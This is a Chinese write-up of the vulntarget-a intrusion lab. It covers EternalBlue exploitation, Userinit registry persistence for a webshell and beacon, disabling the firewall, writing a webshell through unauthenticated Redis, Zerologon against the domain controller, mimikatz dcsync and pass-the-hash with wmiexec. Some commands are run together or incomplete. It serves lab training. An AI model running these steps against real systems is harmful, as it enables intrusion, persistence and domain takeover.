vulntarget-a信息收集

存活扫描,目标开放了445还是win7,考虑一手永恒之蓝

arp-scan -lnmap -A -sT -sV 192.168.130.4

永恒之蓝

用nmap的插件验证一下确实存在

nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.130.7

直接msf开打拿下shell

上工具一把梭

连接上去发现直接就是system权限了

域信息收集

哥斯拉中chcp 65001之后还是有乱码,先维持一下权限,再上线cs。存活扫描一下得到所在的域和另外一个99的机器win2016

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:/MYOA/webroot/shell.exe"

流量转发

接着进入10.0.20.0这个网段去收集99机器的信息,直接使用frp时客户端会报timeout,cs上关掉防火墙就可以连上了

netsh advfirewall set allprofile state off  netsh advfirewall show all state 

因为在cs上用fscan的回显有乱码chcp 65001也没解决,这里用插件试了一下然后成功打开了3389,直接上才艺。如下开放了80和6379。这里fscan提示有redis未授权

redis未授权需要知道绝对路径才能写shell,先看看web有没有突破口,98上frpc,kali上frps,windows上通过proxifier搭成隧道进行访问。访问80页面却只有hello world

扫一下后台目录发现了phpinfo

访问发现l.php是个php探针,这里暴露了他的绝对路径 C:/phpStudy/PHPTutorial/WWW

Redis 未授权

得到了路径就验证一下是否真的存在未授权访问,因为这里用的wsl需要配置一下redis,稍作记录。

wget http://download.redis.io/releases/redis-2.8.17.tar.gz & tar -zxvf redis-2.8.17.tar.gzcd src & cp redis-server /usr/bincp redis-cli /usr/bincd .. & cp redis.conf /etc/redis-cli -h 10.0.20.99

但执行低三步写入shell的时候有报错 “(error) READONLY You can't write against a read only slave”。这是因为主服务器有读写权限,而 从服务器slave master 默认只具有的权限。两种解决方法一种是修改redis.conf(将参数 slave-read-only yes 将yes修改为no)可以永久生效但需要重启服务。第二种就是通过 config set slave-read-only no 进行临时设置,立即生效,但重启后就会失效。

config set dir "C:/phpStudy/PHPTutorial/WWW"config set dbfilename lockly.phpset x "\r\n\r\n\r\n\r\n"config set slave-read-only no

哥斯拉连上去,是system权限,还发现了另外一个网段10.0.10.0

执行转发上线,然后生成正向马从哥斯拉上传并执行就可以通过98机器中转上线了,上来做个权限维持先

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:/phpStudy/PHPTutorial/WWW/beacon.exe"

存活扫描

上传fscan扫描存活主机和端口,另一个110机器开放了88,135,139,445

查看域管理员

net group "enterprise admins" /domain

查看域控用户

net group "domain controllers" /domain

Zerologon 打域控

尝试了一下zerologon,用lodan的插件成功将域控的密码打空,但这样可能会导致主机脱域,后面需要恢复

然后又远程桌面过去mimikatz导出hash,但是最后一步复原不起作用

lsadump::dcsync /domain:vulntarget.com /dc:win2019.vulntarget.com /user:administrator /authuser:win2019$ /authdomain:vulntarget.com /authpassword:"" /authntlmlsadump::postzerologon /target:win2019.vulntarget.com /account:win2019$

后面看了别人的wp,用了github上的exp,因为前面只有一层代理,所以现在是访问不到10.0.10.0这个网段的,本来是用frp继续配第二层代理的,但是奇怪的在关了防火墙的之后也还是访问不到主机。所以在cs上从10.0.20.99那台机子上开启转发,再修改proxychains的配置文件,注释掉之前的,添加sockt4 10.0.20.99 $port.这个port是cs上新建转发时设置的。

说回来上面的hash试了几个网站解不出来,这里当时忘了截用exp跑出来的结果,得到hash可以拿到一个交互式shell

proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 vulntarget/administrator@10.0.10.110

根据他的help,将cs生成的正向马上传,在cs这边新建一个Beacon Tcp的监听器

lput /root/Desktop/beacon.exe C:/Windowscd C:/Windows; start beacon.exe

运行马子之后在99那台机器上 connect 10.0.10.110 $port(新建监听器设置的端口)。成功拿下域控